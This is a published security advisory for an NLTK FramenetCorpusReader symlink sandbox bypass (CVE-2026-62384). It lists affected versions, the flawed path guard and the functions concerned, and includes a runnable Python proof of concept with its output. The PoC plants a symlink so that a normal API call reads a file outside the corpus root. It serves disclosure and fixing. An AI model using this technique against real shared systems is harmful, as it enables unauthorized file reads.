NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)
High7.5CVE-2026-62384 · Published Sep 8, 2026
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| nltk PyPI | >= 3.10.0, < 3.10.2 | 3.10.2 |
Details and references
This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it. ## Summary The original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase. A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root. ## Affected code (`nltk/corpus/reader/framenet.py`) - `frame_by_name()` reads `<frame_dir>/<name>.xml` - `_lu_file()` reads `<lu_dir>/lu<id>.xml` - `doc()` reads `<fulltext_dir>/<filename>` All three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`. ## Proof of concept Self-contained, runnable end to end. ```python import os import tempfile from nltk.corpus.reader.framenet import FramenetCorpusReader root = tempfile.mkdtemp() corpus_root = os.path.join(root, "framenet_v17") frame_dir = os.path.join(corpus_root, "frame") secret_dir = os.path.join(root, "outside_framenet_root") os.makedirs(frame_dir) os.makedirs(secret_dir) with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f: f.write("<frameRelations/>") secret_path = os.path.join(secret_dir, "stolen.xml") with open(secret_path, "w") as f: f.write( '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">' "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>" "</frame>" ) # Attacker plants this inside <corpus_root>/frame/. No path separators, # so it passes _reject_unsafe_path_component cleanly. link_path = os.path.join(frame_dir, "evil_link.xml") os.symlink(secret_path, link_path) reader = FramenetCorpusReader(corpus_root, []) reader._frame_idx = {"__dummy__": {"name": "__dummy__"}} # skip unrelated index build result = reader.frame_by_name("evil_link") # normal, routine call, no ".." anywhere print("frame name:", result["name"]) print("definition:", result["definition"]) ``` Actual output when run against unpatched `main` (commit `35813c8`): ``` frame name: StolenFrame definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT ``` That content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `"evil_link"` contains no separators, `..`, or drive prefix. Verified the same way for the other two affected call sites, `_lu_file()` (`lu<id>.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised. ## Why this is in scope - No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call. - Core corpus-reader code, not a demo/GUI tool. - Confirmed unintentional: PR #3581's own description states the goal was to route through "the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode" and
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-22, CWE-59
- Also known as
- CVE-2026-62384, PYSEC-2026-3789
- github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv
- nvd.nist.gov/vuln/detail/CVE-2026-62384
- github.com/nltk/nltk/pull/3726
- github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d
- github.com/nltk/nltk
- github.com/nltk/nltk/releases/tag/v3.10.2
- github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml
- www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before
More NLTK advisories
All NLTK| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Sep 8 | NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root CVE-2026-70626High6.2fixed in 3.9.4 | High6.2 | 3.9.4 |
| Sep 8 | NLTK: FileSystemPathPointer.open() sandbox check is dead code , arbitrary file read via file:// protocol CVE-2026-65915Medium6.5fixed in 3.10.0 | Medium6.5 | 3.10.0 |
| Sep 8 | NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read CVE-2026-63312Highfixed in 3.10.0 | High | 3.10.0 |
| Sep 8 | NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection CVE-2026-12259Medium5.3fixed in 3.9.3 | Medium5.3 | 3.9.3 |
| Sep 8 | NLTK: Stable FrameNet and NKJP readers parse outside-root XML CVE-2026-62385High5.9fixed in 3.10.0 | High5.9 | 3.10.0 |
| Sep 8 | NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely CVE-2026-62383Medium5.5fixed in 3.10.2 | Medium5.5 | 3.10.2 |